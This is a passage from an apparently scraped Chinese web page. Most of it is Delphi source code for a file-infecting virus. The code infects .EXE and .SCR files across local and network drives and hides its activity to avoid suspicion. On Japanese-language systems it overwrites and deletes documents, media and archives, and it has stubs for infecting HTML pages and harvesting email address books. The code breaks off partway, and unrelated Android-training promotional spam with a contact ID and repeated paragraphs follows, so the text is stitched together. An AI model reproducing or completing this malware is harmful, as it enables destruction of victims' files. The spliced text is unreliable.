// 写入已感染的标记
DstStream.Seek( 0 , 2 );
iID : = $ 44444444 ;
DstStream.Write(iID, 4 );
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); // 替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string );
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0 ); // 去掉只读属性
FileHandle : = FileOpen(FileName, fmOpenWrite); // 打开文件
try
Size : = GetFileSize(FileHandle, nil); // 文件大小
i : = 0 ;
Randomize;
Max : = Random( 15 ); // 写入垃圾码的随机次数
if Max < 5 then
Max : = 5 ;
Mass : = Size div Max; // 每个间隔块的大小
Len : = Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0 ); // 定位
// 写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); // 关闭文件
end;
DeleteFile(PChar(FileName)); // 删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string ;
var
DiskType: Word;
D: Char;
Str: string ;
i: Integer;
begin
for i : = 0 to 25 do // 遍历26个字母
begin
D : = Chr(i + 65 );
Str : = D + ’ :';
DiskType : = GetDriveType(PChar(Str));
// 得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result : = Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string );
var
i, Count: Integer;
Fn, Ext: string ;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16 ) and (SearchRec.Name <> ’ . ’ ) and
(SearchRec.Name <> ’ … ’ ) then
Result : = 0 // 不是目录
else if (SearchRec.Attr = 16 ) and (SearchRec.Name <> ’ . ’ ) and
(SearchRec.Name <> ’ … ’ ) then
Result : = 1 // 不是根目录
else Result : = 2 ; // 是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0 ) then
begin
repeat
PeekMessage(Msg, 0 , 0 , 0 , PM_REMOVE); // 调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn : = Path + SearchRec.Name;
Ext : = UpperCase(ExtractFileExt(Fn));
if (Ext = ’ .EXE ’ ) or (Ext = ’ .SCR ’ ) then
begin
InfectOneFile(Fn); // 感染可执行文件
end
else if (Ext = ’ .HTM ’ ) or (Ext = ’ .HTML ’ ) or (Ext = ’ .ASP ’ ) then
begin
// 感染HTML和ASP文件,将Base64编码后的病毒写入
// 感染浏览此网页的所有用户
// 哪位大兄弟愿意完成之?
end
else if Ext = ’ .WAB ’ then // Outlook地址簿文件
begin
// 获取Outlook邮件地址
end
else if Ext = ’ .ADC ’ then // Foxmail地址自动完成文件
begin
// 获取Foxmail邮件地址
end
else if Ext = ’ IND ’ then // Foxmail地址簿文件
begin
// 获取Foxmail邮件地址
end
else
begin
if IsJap then // 是倭文操作系统
begin
if (Ext = ’ .DOC ’ ) or (Ext = ’ .XLS ’ ) or (Ext = ’ .MDB ’ ) or
(Ext = ’ .MP3 ’ ) or (Ext = ’ .RM ’ ) or (Ext = ’ .RA ’ ) or
(Ext = ’ .WMA ’ ) or (Ext = ’ .ZIP ’ ) or (Ext = ’ .RAR ’ ) or
(Ext = ’ .MPEG ’ ) or (Ext = ’ .ASF ’ ) or (Ext = ’ .JPG ’ ) or
(Ext = ’ .JPEG ’ ) or (Ext = ’ .GIF ’ ) or (Ext = ’ .SWF ’ ) or
(Ext = ’ .PDF ’ ) or (Ext = ’ .CHM ’ ) or (Ext = ’ .AVI ’ ) then
SmashFile(Fn); // 摧毁文件
end;
end;
end;
// 感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep( 200 );
until (FindNext(SearchRec) <> 0 );
end;
FindClose(SearchRec);
SubDir : = TStringList.Create;
if (FindFirst(Path + ’ . ’ , faDirectory, SearchRec) = 0 ) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0 );
end;
FindClose(SearchRec);
Count : = SubDir.Count - 1 ;
for i : = 0 to Count do
LoopFiles(Path + SubDir.Strings + ’ ', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数Android工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年Android移动开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Android开发知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加V获取:vip204888 (备注Android)
最后
为了方便有学习需要的朋友,我把资料都整理成了视频教程(实际上比预期多花了不少精力)
当程序员容易,当一个优秀的程序员是需要不断学习的,从初级程序员到高级程序员,从初级架构师到资深架构师,或者走向管理,从技术经理到技术总监,每个阶段都需要掌握不同的能力。早早确定自己的职业方向,才能在工作和能力提升中甩开同龄人。
- 无论你现在水平怎么样一定要 持续学习 没有鸡汤,别人看起来的毫不费力,其实费了很大力,这四个字就是我的建议!!
- 我希望每一个努力生活的IT工程师,都会得到自己想要的,因为我们很辛苦,我们应得的。
当程序员容易,当一个优秀的程序员是需要不断学习的,从初级程序员到高级程序员,从初级架构师到资深架构师,或者走向管理,从技术经理到技术总监,每个阶段都需要掌握不同的能力。早早确定自己的职业方向,才能在工作和能力提升中甩开同龄人。
无论你现在水平怎么样一定要 持续学习 没有鸡汤,别人看起来的毫不费力,其实费了很大力,没有人能随随便便成功。
加油,共勉。
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
+项目实战源码》]( )收录**
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算